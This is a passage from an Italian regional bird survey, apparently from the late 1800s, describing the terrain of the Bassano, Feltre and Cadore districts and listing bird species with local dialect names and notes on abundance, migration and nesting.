novembre. Gallinago major. Pochi come sopra e anche nella prima metà di ottobre. Gallinago caelestis. Come la specie precedente. Vicenza, distretto di Bassano (Ferrari Gaetano e Vittorelli nob. cav. dott. Andrea): Il distretto di Bassano confina: ad E. colla giogaia Grappa (altitudine metri 1747); al S. colla pianura ed ultima ramificazione dei monti; ad O. col bacino inferiore del torrente Astico; al N. coll’altipiano di Asiago (altitudine media m. 1100). Entro detti confini sono compresi: a) il bacino inferiore del Brenta; b) le diramazioni e contrafforti meridionali dell’altipiano d’Asiago; c) la riva sinistra del torrente Astico. Il bacino inferiore del Brenta è un complesso di contrafforti alternati da piccole valli con versanti in forte pendio, di rocce scaglionate, di rupi scoscese e burroni; il tutto ammantato da boschi pascolivi e da pascoli cespugliati. Alla sommità delle due catene di monti formanti il bacino: boschi resinosi, boschi cedui, pascoli e prati. La parte meridionale dell’altipiano d’Asiago è un assieme di estese diramazioni degradanti a poco a poco verso il lembo di pianura tra il fiume Brenta ed il torrente Astico. Di svariatissimi pendii esse sono al vertice coperte da boschi resinosi; più sotto da boschi cedui alternati da pascoli e prati, finalmente nella parte più bassa, dove prendono forma di collina, da terreni coltivati ad olivi, viti, prati e frutteti. Il torrente Astico è corso d’acqua perenne e lungo le sue sponde esistono numerosi opifici. Le sponde del fiume Brenta sono popolatissime. Villaggi e caseggiati numerosi. Nessuna industria. (Ferrari). Il distretto di Bassano confina al N. col Trentino, all’E. colla provincia di Treviso, al S. colla provincia di Padova, all’O. col rimanente della provincia di Vicenza. Il territorio bassanese al S. è piano, all’E. ed all’O. montagnoso e con colline, al N. ha la catena della Alpi. (Vittorelli). Elenco delle specie di uccelli osservate nella provincia di Vicenza, distretto di Bassano, coi nomi volgari locali ed alcune notizie. Corvus Corax. Sedentario. Corvus frugilegus. Di passo. Pica rustica, Gaza nera. Comune e sedentaria. Garrulus glandarius, Gaza rossa. Comune e sedentaria. Pyrrhocorax alpinus. Sedentario ai monti. Pyrrhocorax Graculus. Erratico. Sturnus vulgaris, Strullo. Sedentario ed erratico. Fringilla cœlebs, Finco. Comune ovunque e sedentario. Fringilla Montifringilla, Montan. Di passo. Montifringilla nivalis. Di passaggio, nidifica ai monti. Passer montanus, Zeleghetta. Comune ovunque. Passer Italiae, Selega. Comune e nidificante. Coccothraustes vulgaris, Frison. Nidifica scarso ai monti, di passaggio. Ligurinus Chloris, Verdon. Comune e sedentario in collina. Serinus hortulanus. Erratico. Carduelis elegans, Gardellin. Comune e nidificante. Chrysomitris Spinus, Lugaro. Scarso, di passaggio. Ægiothus rufescens. Accidentale di passo. Pyrrhula europæa. Scarso ed erratico, nidifica. Loxia Curvirostra. Di passo e nidificante. Emberiza Citrinella, Fiotto. Frequenti ai colli ove nidifica. Emberiza hortulana, Ortulan. Comune ai colli ove nidifica. Emberiza Cia. Scarso, nidificante e di passaggio. Alauda arvensis, Lulola. Comune e nidificante. Alauda arborea, Berluato. Comune ai monti ove nidifica. 1 Questo elenco è principalmente dovuto al signor Ferrari, il dottor cav. Vittorelli essendosi limitato a dare risposte molto generiche in proposito. Questi due osservatori resero poi più difficile il mio compito citando quasi sempre le specie col solo nome volgare locale. Galerita cristata, Capelua. Frequent, nidifica al piano ed ai colli. Anthus pratensis. Di passo e nidificante. Anthus trivialis. Di passo abbondante. Calobates melanope. Sedentaria. Saxicola Oenanthe, Culo-bianco. Frequent e nidificante ai monti. Monticola saxatilis. Scarso e nidificante ai monti. Monticola Cyanus, Passera solitaria. Comune ai monti, vi nidifica. Merula nigra, Merlo. Abbondante ovunque, nidificante. Merula torquata. Di passo. Turdus pilaris. Di passo. Turdus iliacus. Di passo. Turdus musicus, Tordo da uva. Di passo e nidificante. Turdus viscivorus, Tordo gazzaro. Sedentaria in collina. Aëdon Luscinia, Rossignolo. Comune e nidificante. Erithacus Rubecula. Erratico e di passo, nidifica ai monti. Ruticilla Phœnicurus. Di passo e nidificante. Pratincola Rubicola. Erratico, nidificante. Sylvia cinerea. Di passo. Monachus Atricapillus, Caonegro. Sedentaria in collina. Monachus hortensis, Becafico. Di passo. Phylloscopus Trochilus, Fuin. Comune ai monti, vi nidifica. Troglodytes parvulus. Sedentario. Accentor modularis. Di passo. Regulus cristatus. Di passo e nidificante. Parus major, Parussola. Sedentaria e comune. Parus ater. Di passo. Acredula rosea, Cotimone. Sedentaria in collina. Certhia brachydactyla, Rampegarolo. Sedentario ai colli. Lanius Excubitor, Reiestola. Comune ai monti, ove nidifica. Lanius Collurio. Estivo. Lanius auriculatus. Estivo e nidificante. Oriolus Galbula. Estivo e nidificante. Butalis Grisola. Estivo e nidificante. Hirundo rustica. Abbondante, estiva e nidificante. Chelidon urbica. Abbondante, estivo e nidificante. Cypselus Apus. Comune nell'estate. Gecinus viridis, Pigozzin, Spigozzin. Sedentario e comune. Ilynx Torquilla. Nidificante e di passo. Alcedo Ispida. Sedentario. Athene Noctua. Sedentaria. Buteo vulgaris. Sedentaria. Falco Peregrinus. Sedentario. Accipiter Nisus. Sedentario. Egretta alba. Accidentale di passo. Mareca Penelope. Accidentale. Tetrao Urogallus. Sedentario ai monti. Lyrurus Tetrix. Sedentario ai monti. Bonasa betulina. Sedentario ai monti. Perdix saxatilis. Sedentaria ai monti. Starna Perdix. Sedentaria. Coturnix communis, Quaia. Frequente, nidificante e di passo. Columba Palumbus. Di passo e nidificante. Turtur tenera, Tortora. Comune, estiva e nidificante. Grus communis. Passa in grossi branchi. Scolopax Rusticula. Di passo. Belluno (Soravia cav. Pietro; Delaito Valentino, pel distretto di Feltre; Tissi Enrico, per quello del Cadore): Il distretto di osservazione è quello forestale di Feltre, che comprende i due distretti amministrativi di Feltre e Fonzaso e che ha per confini: ad E. dapprincipio la valle del Mis, poi il comune di Sospirolo, indi il torrente Cordevole fino alla confluenza col Piave, ed oltre il Piave, la valle della Rimonta dal detto fiume fino al confine, in montagna, con la provincia di Treviso, territorio del comune di Valdobbiadene; al S. i comuni di Valdobbiadene, Segusino, Pederobba, Cavaso, Possagno, Crespano, della provincia di Treviso, indi il comune di Fietta provincia di Vicenza; ad O. il comune di Cismon, provincia di Vicenza, il comune di Grigno e Castello Tesino del Trentino; al N. prima i comuni di Gosaldo e di Tiser del distretto di Agordo, indi i comuni di Fiera, Mezzan, Imeo e Canal San Bovo del distretto di Primiero, Trentino; poi il comune di Ciuse Tesino, Trentino, o più precisamente i beni patrimoniali di detto comune, Tornarezza, Valle Orsella e Vallaricca. Il distretto forestale di Feltre è circondato dalla parte di tramontana dalla catena Alpina di secondo ordine (mancanti di granito) Cimoneghe, Alvis, Ramezza, Pietena, Vette, Monserpian, Vallazza e Coppolo. Parallela a detta catena trovasi dal lato di mezzogiorno un’altra di monti di terzo ordine Garda, Col di Tucche, Tomatico, Sassumà, Fontanasecca, Cinespa e Grappa, i contrafforti dei quali protendonsi verso mezzogiorno fino alla pianura trevigiana e bassanese. Fra l’una e l’altra delle due indicate catene di monti, epperò in direzione da E. ad O., apresi la larga vallata del Piave, che nell’istesso senso è in diretta comunicazione e continuità con la valle Feltrina propriamente detta, e questa pel valico alpino dei Colli Alti, al termine della valle di Seren, e per la valle di Cismon mette nella valle del Brenta. Le massime altezze delle Alpi di secondo ordine variano da 2000 a 3000 metri e di quelle di terzo da 1200 a 1700. Il punto più basso di tutto il territorio è sul letto del Piave al confine con la provincia di Treviso, 100 metri circa, ed il più alto l’estrema punta delle Cimoneghe, 3000. Nella catena Alpina secondaria la vegetazione arborea finisce a metri 1800 di elevazione in media; in quella di terzo ordine sussiste quasi dappertutto fino alle estreme cime, meno che sulla Grappa e sul Tomatico. Questo territorio ha una costituzione topografica svariatissima, imperocchè presenta valli aperte con vasti tratti di piano, dominate da colline e monticelli; numerosi altipiani, valli ristrette e tortuose, dolci declivi, aspre chine, rocce a picco; insomma il suolo possiede tutte le accidentalità immaginabili, dal palude al più ardito dirupo. È facile l’indurre che con tanta varietà di condizioni altimetriche la flora sia ricchissima; e difatti, parlando di sole piante legnose, se ne ha qui di tutte le specie, dalla quercia peduncolata al larice ed al pino mugo, dal pinocchio falso e dal pugnitopo all'Alnus incana ed alla Dryas octopetala. La fauna è parimente ricca e conta ogni genere di pennuti e di quadrupedi, dall'uccello di palude e di marina al Roncaso ed all'Urogallo, dalla Lontra al Camoscio. Fiumi, torrenti e rigagnoli solcano ed attraversano il paese in tutte le direzioni. Buona parte delle più aperte valli è occupata ed ingombra di ghiaie e sabbia condottevi dalle piene dei fiumi e torrenti. Non sono in gran numero né molto estesi, ma neppure mancano i paludi, i piccoli stagui e le sorgive, dimore predilette degli uccelli acquatici. Il clima passa a tutti gli eccessi. In certi punti s'hanno le fitte nebbie delle maremme, in altri l'aria infocata del deserto, e ciò per lo stato igrometrico dell'aria. Quanto poi a quello termico basti il dire che in luglio del 1872 il termometro segnò a Feltre + 26 R. e nel dicem. 1873 — 21 R. La meteorologia s'addimostra pur essa generosa dispensatrice d'ogni genere di fenomeni. Violentissimi temporali, piogge frequenti, grandine, nevi, brine ec. si succedono quasi sempre a brevi intervalli. (Delaito). La regione conosciuta sotto la denominazione di Cadore, e che forma l'oggetto delle presenti osservazioni ornitologiche, è posta tra le Alpi orientali e comprende più precisamente nella suddivisione delle Alpi bellunesi quelle Ampezzane, Cadorine e di Misurina. Geograficamente e per quanto si riferisce al territorio nazionale è limitata tra 46° 17' e 46° 29' di lat. boreale e tra 29° 47' e 30° 25' di long. orientale dell'isola Ferro. Ha per confini: a N. la valle che dal campo di Toblach (m. 1204) fino allo sbocco presso Innichen (m. 1166) del torrente Sesto o Sexten nella valle Drava; a E. il torrente Sesto, il passo di Montecroce (m. 1634), il Padola fino al suo sbocco nel Piave a S. Stefano di Comelico (m. 923) e i monti di Terra Grande, il passo della Mauria, il Cridola e il Duranno; a S. il distretto amministrativo di Langarone e la plaga bellunese; ad O. la linea segnata dai monti La Rocchetta, Pelmo Sfornoi e Rocchetta. Amministrativamente la regione è divisa in due distretti, quello di Pieve di Cadore e quello di Auronzo. È percorsa da tre principali vallate: quella del Boite che formasi a NO. di Batestagno nel territorio austriaco, quella dell'Ansiei che ha origine a S. delle Cascine di Casera Vecchia nei pressi di Misurina, e finalmente della principale corrente del Cadore, il Piave, che nasce dall'alta valle del Sesis, su quella falda del monte Peralba che conduce alla forcella omonima. Accoglie nelle sue acque quelle del Boite a Perarolo e quelle dell'Ansiei presso i Treponti. Il Cadore possiede monti di prima grandezza e tra i principali vanno annoverati: 1° Il Tofana m. 3269; 2° La Rocchetta m. 2371; 3° L'Antelao m. 3255; 4° Le Marmarole m. 3129; 5° Il Sorapiss m. 3291; 6° Il Cristallo m. 3244; 7° Il Codino con Campodoro m. 2234; 8° Le tre cime di Lavaredo m. 2963; 9° Il monte Piana m. 2296; 10° Croda di Val dei Toni o Zivölferkofer m. 3085; costituiti in buona parte di calcari dolomitici e ricoperti fino all'altitudine di circa 2000 metri di vegetazione arborea, cespugliosa ed erbosa. La configurazione del suolo è propria delle regioni alpine: dai terreni pianeggianti e dati alla agricoltura nel fondo delle valli e in vicinanza ai paesi passa per le erte falde boscate e pascolive dei monti fino ai più elevati dirupi e pinacoli dei massi dolomitici che rendono bella ed interessante questa regione. Le vallate, sia principali, che secondarie, or ampie ed or asseragliate tra rupi, percorrono la regione in guisa da offrire all'osservatore tutta la diversità del paesaggio alpino e da indurre quelle differenze locali di clima che influiscono sulla vegetazione. Il clima generale è freddo e asciutto, discendendo in qualche invernata il termometro centigrado a — 23° e non spingendosi generalmente sopra lo zero, durante l'estate sale oltre i 26°. Le nevi generalmente sono abbondanti, come persistenti sono i venti di settentrione nella primavera e nell'estate. Le piogge estive ed autunnali sono abbastanza copiose, ma di rado sono molto persistenti, né presentano quella stabilità nell'epoca di arrivo che è propria dei paesi più temperati. L'agricoltura è limitata alla non abbondante produzione di cereali, come gran turco, saraceno, frumento, segala, orzo, avena; di leguminose, come le fave e fagioli; di tuberi e di qualche altra pianta di domestica utilità come lino, canape ec. nonché di piante ortensi. Assai più importante è al contrario l'allevamento dei boschi, i quali con vegetazione lussureggiante, occupano circa un terzo della totale superficie territoriale. Dal pino cembro e nano che crescono nell'estremo limite della vegetazione, s'incontra, discendendo, il larice, l'abete rosso, il pino silvestre, l'abete bianco, il pino nero, il faggio quali essenze primarie; gli aceri, frassini, ontani, citisi, noccioli, sorbi, pioppi, salici ec. quali secondarie. I prati e pascoli occupano pur essi circa il 40 per cento della complessiva superficie territoriale e se non sono ubertosi quanto con una più razionale ed intensiva coltura potrebbonsi ottenere, non mancano tuttavia di somministrare ottimi e profumati foraggi. Non differentemente dalla flora, che nelle Alpi assume un carattere speciale, si comporta la fauna, la quale comprende pennuti e quadrupedi propri di questa regione. Omettendo in questi cenni brevissimi di accennare dei primi, tra i secondi si rammenta la frequente presenza tra questi monti dei Camosei, Caprioli, Volpi, Lepri, Scoiatoli, Tassi, Faine, Donnole, Martore ec. (Tissi). Elenco generale delle specie di uccelli che si trovano nella prov. di Belluno; coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione, ecc. Corvus Corax, Corf, Corvo (B.); Corvo, Corf, Crò, Corzh (F.); Corvo, Corvo da croda, Corf (C.). Scarso, erratico ed invernale nel Feltrino; nidificante ai monti nel Cadore. Corvus Corone, Cornacia, Corniola (B.); Cornazh, Cornazha, Cornacia (F.); Cornacia, Corniola (C.). Invernale nel Feltrino; nidificante nel Cadore e frequente. Corvus Cornix, Corf del mantél (B. F.); Corvo biso, Corvo da bosch, Corf. (C.). Frequent e sedentaria. Corvus frugilegus, Corf, Corvo (B.); Corvo, Corf, Crò, Corzh (F.); Corvo, Corf' (C.). Frequent e d'inverno e anco nidificante e sedentario. Nucifraga Caryocatactes, Gaia noselera, Gaia todesca (B.), Gaia noselera, Gaia mata (F.); Gaia de nosele (C.). Scar- sa, ma sedentaria e nidificante ai monti; in aprile e settembre fa un passaggio. Pica rustica, Gaza, Gaia, Chéca (B.); Gazha, Gada, Chéca (F.); Gaza, Chéca (C.). Comune e sédentaria. Garrulus glandarius, Gaia, Gaia marina, Gajola (B.); Gaia (F.): Gaia, Gaiola (C.). Comune e sedentaria. Pyrrhocorax alpinus, Zurla (B.), Paola, Zhorla, Zhurla (F.); Zhorla dal bech zal (C.). Comune, gregario e sedentario ai monti. Pyrrhocorax Graculus, Zurla dal bech ross (B.); Paola, Zhorla, --- 1 Questo elenco è compilato dal cav. P. Soravia, ispettore forestale di Belluno; egli si è dato moltissima pena per la inchieste ornitologica nella sua provincia, coadiuvato dai sotto-ispettori forestali del Cadore (Tissi) e del Feltrino (Dolaito); ai quali dobbiamo le notizie raccolte. Queste notizie sono poi state pubblicate col titolo: Gli Uccelli della provincia di Belluno, a Feltre nel 1888, a mia insaputa. Ho distinto colle iniziali B. F. C., i nomi volgari dei distretti di Belluno, Feltre o Cadore. Zhurla (F.); Zhurla dal bech ross (C.). Searso, ma sedentario ai monti. Sturnus vulgaris, Stornél (B. F. C.). Abbondante di doppio passo nel Feltrino; scarso al piano nel Cadore. Fringilla coelebs, Zhavátol, Finco, Finch (B. F. C.). Frequent, nidificante e di doppio passaggio. Fringilla Montifringilla, Chéch, Montan (B.): Chéch (F.C.). Frequent di passo in novembre e febbraio. Montifringilla nivalis, Talóch bianco (B. C.). Frequent e sedentario ai monti nel Cadore. Petronia stulta, Matón da croda, Talóch ross (F. C.). Scarsa ai monti, ma nidificante e sedentaria. Passer montanus, Sansiról, Zhelega, Panegas de montagna (B.); Zhilighéta (F.); Panegás de montagna (C.). Frequent, sedentaria ed erratica. Passer Italiæ, Panegasson, Panegás (B.); Zhilega, Zhelega, Zhiliga de racha grande, Zhiligót (F.); Zhelega (C.). Frequent, sedentaria ed anco di doppio passaggio. Passer domesticus, Panegás, Panegás nostran (B.); Panegás nostran (C.). Frequent e sedentaria, nel Cadore sembra essere in aumento. Coccothraustes vulgaris, Sfrisón (B.); Frisón (F.); Frisón, Sfrisón (C.). Frequent, nidificante e di passo; sembra essere in diminuzione. Ligurinus Chloris, Zheránt, Zharánt (B. F.); Zheránt, Feránt (C.). Frequent, nidificante e di doppio passaggio. Chloroptila Citrinella, Sfredelin foresto (B.); Fraselin foresto (F.); Fredelin (C.). Frequent e nidificante nel Cadore. Chrysomitrís Spinus, Lugér, Lugvin, Lugret (B.); Lugherín (F.); Lugherin, Lugher (C.). Frequent di doppio passo e anco nidificante. Carduelis elegans, Gradelin (B. F. C.). Frequent, sedentario e di doppio passo. Serinus hortulanus, Sfredelin (B.); Fraselin (F.), Fredelin (C.). Scarso, nidificante e di passo. Cannabina Linota, Faganél (B. F.); Faganél nostran (C.). Frequent al piano, nidificante e di passo. Ægiothus Linarius, Lugherin todesco, Ceeč, Cereč grande (B.); Lugherin todesco (F.); Conglit, Conglich (C.). Di scarso e casuale passaggio nel Feltrino; scomparso da circa 20 anni nel Cadore. Ægiothus rufescens, Cecě, Cercè, Lugherin tedesco (B. F.). Frequente e nidificante ai monti nel Cadore. Pyrrhula europæa, Subiot (B.); Subiót, Finch-subiót (F.); Subiót, Subióto (C.). Frequent e sedentario, nidificante ai monti. Loxia Pityopsittacus, Crosnobel gran (B.); Becostorto, Osel todesco, Crosnobel grando (C.). Scarso, ma nidificante e anco di doppio passo nel Cadore. Loxia Curvirostra, Crosnobel (B. F.); Becostorto, Osel todesco, Crosnobel piccolo, dal tedesco Krummschnabel (C.). Frequent e nidificante nel Cadore; scarso e di passo nel Feltrino. Miliaria Projer, Pióch (F.). Abbondante, nidificante al piano e anco di doppio passo nel Feltrino. Emberiza Citrinella, Verda (B.); Tarasega (F.); Verda bella (C.). Frequent, nidificante e di doppio passo. Emberiza Cirlus, Verda brutta (C.). Comune, nidificante e di doppio passo nel Cadore. Emberiza Hortulana, Ortolán (B. F. C.). Frequent al piano, nidificante e di doppio passaggio. Emberiza Cia, Cip (B.); Zhit-gnoch (F.). Frequent ai monti nel Feltrino, di doppio passaggio. Emberiza Schœniclus, Cia (B.); Péuca (F.). Frequent di doppio passo al piano. Calcarius nivalis, Taloch bianco (F.); Osel della neve (C.). Frequent ai monti nel Cadore, ove nidifica; scarso di passo invernale nel Feltrino. Melanocorypha Calandra, Calandra (B); Calandra, Lodola can- --- 1 Questa notizia, che ritengo erronea, è forse dovuta al nome volgare in comune col Fringuello alpino (M. nivalis) che è davvero sedentario e nidificante nel Cadore. tarina (F.). Di doppio passo, frequente e nidificante al piano nel Feltrino. Calandrella brachydactyla, Calandra (B.); Calandrina (F.). Scarso di doppio passo e nidificante nel Feltrino. Alauda arborea, Calandra (B.); Antióla (F.); Calandra nostrana (C.). Frequenti, nidificante e di doppio passaggio. Alauda arvensis, Lodola (B. F. C.). Comune, nidificante e di doppio passo; raramente sverna. Galerita cristata, Capelúia (B.); Capelúga (F.); Lodola col zhuf (C.). Assai rara; di doppio passaggio. Anthus pratensis, Fista (B.); Zhit (F.); Fista piccola (C.). Frequenti e nidificante nel Cadore; abbondante, ma soltanto ai due passi, nel Feltrino. Anthus trivialis, Tordina, Pitárelá (B.); Tordina (F.); Tordina, Pitárolá (C.). Comune, nidificante e di doppio passo. Anthus Spipoletta, Fistón (B.); Zhitón (F.); Fista granda (C.). Frequenti, nidificante e di doppio passaggio. Budytes flavus, Boarola zhala (B.); Paečh (F.); Coacassola zhala, Coacassola bella (C.). Frequenti al piano; nidificante nel Cadore, di solo passaggio nel Feltrino. Budytes cinereocapillus, Boarina (B.), Coacassola, Cassola (C.). Frequenti al piano, nidificante e di doppio passo nel Cadore. Budytes borealis, ?Coacassola, Boarola (B.). Di dubbiosa comparsa. Motacilla alba, Codacassola (B.); Boarina, Boarola (F.); Coacassola negra, Coacassola brutta (C.). Frequenti, nidificante e di doppio passo. Calobates melanope, Boarola (B.); Passerin (F.); Coacassola de montagna (C.). Frequenti, nidificante, di doppio passo e anche sedentaria. Saxicola Oenanthe, Culbianco (B.); Culbianch (F.), Cubianco, Pavarín grand (C.). Frequenti, nidificante e di doppio passo. Saxicola albicollis, Cubianco de montagna (C.). Frequenti (?), nidificante e di doppio passo nel Cadore. Monticola saxatilis, Codarossolón (B.); Codarossón, Coarosson (F.); Codarossón de montagna, Codaross salvarego (C.). Nidificante e di doppio passo; frequente nel Cadore, scarso nel Feltrino. Monticola Cyanus, Passera, Passera solitaria (F.). Scarsa, nidificante ai monti e di doppio passo nel Feltrino. Merula nigra, Merlo (B. F.); Merlo da bosco (C.). Comune; sedentario, erratico e di doppio passo. Merula torquata, Colaina (B.); Tordo dalla colana, Tordo fassán (F.); Tordo dalla colaina, Tordol (C.). Frequente e nidificante ai monti; anco di passo; più scarso nel Feltrino. Turdus pilaris, Tordo smarér (B.); Gardena, Tordo della coa negra (F.); Tordo negro o ciach, Tordol (C.). Abbondante; nidifica nel Cadore ed è soltanto di passo nel Feltrino. Turdus iliacus, Tordo zheselin (B. C.); Tordo zhisilót (F.). Frequenti di doppio passaggio. Turdus musicus, Tordo da ua (B. F.); Tordin (F.); Tordo zhit (C.). Abbondante, nidificante ai monti e di doppio passo. Turdus viscivorus, Tordo gazhér (B.); Tordo gajér (F.); Tordo gaión, Tordol (C.). Frequenti, sedentaria ai monti e di doppio passo. Aëdon Luscinia, Russignól (B. F. C.). Nidificante e di doppio passo; scarso nel Cadore, abbondante nel Feltrino. Erithacus Rubecula, Bet, Betúz, Betarél (B.); Betúzh, Betarél, Pitarél (F.); Betarél, Bét (C.). Frequenti e nidificante ai monti; scarso nell’inverno. Cyanecula Wolfi, Codarossól da palúch (B.); Codaross dal peto turchin (F.). Di scarso passaggio in marzo nel Feltrino. Ruticilla Phœnicurus, Codarossol (B.); Codaróss, Coarós (F.); Codarós (C.). Frequenti di doppio passo e nidificante nel Cadore; di solo passaggio nel Feltrino. Ruticilla titys, Codarossol da sass (B.); Codarossol negro, Codaross de montagna (F.); Codaros spazzacamín (C.). Frequenti e nidificante ai monti nel Cadore; comune di solo passo nel Feltrino. Pratincola Rubicola, Batiale (B. C.); Zhimalét, Zhimal (F.). Comune, nidificante e di doppio passo. Pratincola Rubetra, Machét (B.). Frequent al piano, nidificante e di doppio passo. Sylvia orphaea, Bianchetón (B. C.). Frequent al piano, nidificante e di passaggio nel Cadore. Sylvia cinerea, Boscardela (B.F.); Bianchét de bosch (C.). Frequent, nidificante e di doppio passo. Sylvia subalpina, Monegheta (B); Boscardeléta (F.). Scarsa, ma nidificante e di doppio passo. Sylvia Curruca, Boscardela (B.); Biancheta (C.). Comune, nidificante e di doppio passo. Monachus Atricapillus, Caonero, Codazhil (B.); Caonegro (F. C.). Scarsa, nidificante e di doppio passaggio. Monachus hortensis, Bianchét (B. F. C.). Raro, nidificante e di doppio passo. Phylloscopus sibilator, Zalét (B.); Ciuit (F.); Zhuit, Ciuit (C.). Frequent, nidificante e di doppio passo. Phylloscopus Trochilus, Ocio de bò (B.); Tuio, Ocio de bò (C.). Frequent, nidificante e anche sedentario nel Cadore. Phylloscopus Bonellii, Dalin (B.); Tuio (C.). Frequent, nidificante e di doppio passo nel Cadore. Hypolais polyglotta, Zalet (B.); Canevaról (F.). Estivo, frequent e nidificante nel Feltrino. Acrocephalus palustris, Segalin, Zalet (B.); Canelin (F.). Scarsa, estiva e nidificante al piano. Acrocephalus arundinaceus, Canelón (B.); Canaról, Becafigo da palü (F.). Estivo, frequent e nidificante al piano nel Feltrino. Calamodus schœnobœnus, Canelin (B.); Palughin (F.). Estivo, frequent e nidificante al piano nel Feltrino. Troglodytes parvulus, Reuzhol (B.); Reuz, Oselét del bosch, Galinazhéta (F.); Reuz, S-ciuruzol, Tre-tre, Ros-ciuz (C.), Frequent ovunque, nidificante e anche di doppio passaggio. Cinclus aquaticus, Merlo d'acqua (B. C.); Merlo da acqua (F.). Frequent e sedentario. Accentor collaris, Talóch griso (B.); Talóch, Moséca (F.): Talóch, Grison da croda, Maton (C.). Sedentario ai monti: scarso nel Cadore, frequente nel Feltrino. Accentor modularis, Negróla (B.); Negróla, Moreta (F. C.). Frequenti, di doppio passo e nidificante nel Cadore. Regulus cristatus, Stelin (B.); Stélín, Caodóro (F.); Papa-moschin (C.). Frequenti, nidificante e di doppio passaggio. Regulus ignicapillus, Stelin (B.); Stélín, Caodóro (F.). Scarso, nidificante ai monti e di doppio passo nel Feltrino. Acredula rosea, Codazhin, Codazhil (B.); Coalonga, Ocio de bó (F.); Perussola dalla coda longa (C.). Comune; nidificante e di doppio passo nel Cadore, sedentaria nel Feltrino. Parus major, Parussola, Potaséca (B.); Peruzhola, Zerpignola (F.); Perussola granda (C.). Frequenti, nidificante e di doppio passo. Parus ater, Parussola todesca (B.); Peruzhola todesca (F.); Perussola todesca, Perussola da chéba (C.). Frequenti, nidificante ai monti e di doppio passo. Cyanistes caeruleus, Frarótol (B.); Peruzholin (F.); Perussola turchignola (C.). Frequenti, ma soltanto di doppio passaggio. Pœcile palustris, Parussola de la calota (B.). Frequenti, nidificante e di doppio passo. Pœcile borealis, Perussola moscona, Perussola bianchizha (C.). Frequenti e nidificante ai monti nel Cadore. Lophophanes cristatus, Perussola col zhuf o suffo (C.). Frequenti e sedentaria ai monti nel Cadore. Sitta cæsia, Becarán (B.); Becalegn medan, Becalegn curgiós (F.). Scarso, ma sedentario nel Feltrino. Certhia familiaris, Becalégn (B.); Becalegnét (F.); Becalén (C.). Frequenti e sedentario ai monti. Certhia brachydactyla, Becaléyn (B.); Becalegnét (F.); Becalén piccolo (C.). Comune e sedentario. Tichodroma muraria, Becasás, Piombin da croda (B.); Becasás, Becamar, Osel della Madonna (F.); Osel dall’ojo (C.). Frequente e sedentario ai monti nel Cadore, più scarso nel Feltrino. **Oriolus Galbula**, *Repéndal* (B.); *Compare-piero* (F.); *Barbapiero* (C.). Estivo e nidificante, più scarso nel Cadore. **Lanius Excubitor**, *Redéstola* (B.); *Redestol falconier* (F.). Scar- sa, ma nidificante nel Feltrino. **Lanius minor**, *Reguestolon lor* (B.); *Redestolón* (F.); *Revést de montagna* (C.). Estiva, scarsa e nidificante nel Cadore; più frequente nel Feltrino. **Lanius Collurio**, *Redéstol* (B. F.); *Revést da campagna* (C.). Estiva, frequente e nidificante. **Lanius auriculatus**, *Redést bastard* (B.); *Redéstol* (F.). Estiva, frequente e nidificante. **Muscicapa collaris**, *Batiale* (B. F.). Estiva, nidificante e piut- tosto frequente nel Feltrino. **Muscicapa Atricapilla**, *Batiale* (B. F.). Estiva, nidificante e di doppio passo; frequente. **Butalis Grisola**, *Batialón* (B.); *Machét* (F.). Estivo, scarso e nidificante. **Hirundo rustica**, *Zhiliqa* (B.); *Zhisila* (F.); *Zhiria, Zhiliga* (C.). Abbondante, estiva, nidificante e di doppio passaggio. **Chelidon urbica**, *Rondol* (B.); *Rondolét dal cul bianch* (F.); *Rondina dal cu bianco* (C.). Abbondante, estivo, nidificante e di doppio passo. **Cotile rupestris**, *Rondol* (B.); *Rondolét de croda*, *Rondolét griso* (F.); *Rondol da croda* (C.). Frequente ai monti e anco sedentaria nel Cadore; meno comune ed estiva nel Feltrino. **Cypselus Apus**, *Rondol, Sbiro* (B.); *Rondón, Sbiro* (F.); *Rondolón, Sbiro* (C.). Comune, estivo, nidificante e di doppio passaggio. **Cypselus Melba**, *Rondól grand* (B.); *Rondolón, Rondón de zhime* (F.); *Rondol de montagna* (C.). Estivo e frequente ai monti, ove nidifica. **Caprimulgus europaeus**, *Tetavache* (B. F.); *Tetavace* (C.). Estivo e comune. **Dryocopus martius**, *Pigót negro* (B.); *Pigozh negro, Pigozhon*. Becalegnón (F.); Becalegn negro, Pigót moro (C.). Frequent e sedentario ai monti. **Picus major**, Pigót todesch (B.); Pigozh, Becazóch (F.); Becalegn ross (C.). Comune e sedentario. **Picus medius**, Pigót ross (B.); Pigozh, Becazóch (F.). Scarso, ma sedentario nel Feltrino. **Picus minor**, Becalegn (B.); Pigozhét, Becazóch (F.); Becalegn Frequent e sedentario. **Gecinus viridis**, Pich, Pigót (B.); Becalegn, Pigozh verdo (F.); Pigót verdo (C.). Comune e sedentario. **Gecinus canus**, Pigót (B.); Pigózh, Becazóch (F.). Scarso, ma sedentario ai monti nel Feltrino. **Iynx Torquilla**, Codatórcol (B.); Coatórcol (F.); Contorcol (C.). Di doppio passaggio, scarso nel Cadore, frequente nel Feltrino. **Cuculus canorus**, Cuch (B. F.); Cuco, Cuch (C.). Estivo e frequent. **Alcedo Ispida**, Piombin da acqua, Piombin (B. F.). Frequent e sedentario al piano nel Feltrino. **Upupa Epop», Búbola (B.); Pochéta, Galét (F.), Galét de montagna (C.). Scarsa, estiva e nidificante. **Strix flammea**, Barbagian (B. F. C.). Scarso, ma sedentario. **Syrnium Aluco**, Sbarégol (B.); Sbéregh (F.). Scarso ai monti, ma sedentario. **Nyctala Tengmalmi**, Zhiveta da croda (B.); Zhivitn da croda, Zhivítón (F.); Zhuita da campagna (C.). Scarsa, ma sedentaria nel Cadore. **Asio Otus**, Cióch (B.); Burububú (F.); Ciò (C.). Frequent e sedentario nel Cadore, più scarso nel Feltrino. **Athene Noctua**, Zhiveta (B.); Zhivita, Zhuita, Zhoéta (F.); Zhuita (C.). Sedentaria; frequent nel Cadore, più scarsa nel Feltrino. **Scops Giu**, Zhus (B. F. C.). Estivo, frequent e nidificante. **Bubo maximus**, Dugo (B. F. C.). Sedentario; frequent nel Cadore, meno comune ed erratico nel Feltrino. **Circus æruginosus**, Falchét paluder (B.). Scarso, di doppio passo al piano. Circus cyaneus, Falchét (B.); Auzhel dalle pite, Falchét (C.). Frequent e nidificante nel Cadore. Circus cineraceus, Falchét (B.); Falchét, Galinél (C.). Non rara, sedentaria e nidificante nel Cadore. Circaëlius gallicus, Astór (C.). Frequent e sedentario ai monti nel Cadore. Aquila Chrysaëtus, Aquila (B. F. C.). Scarsa, ma sedentaria ai monti. Buteo 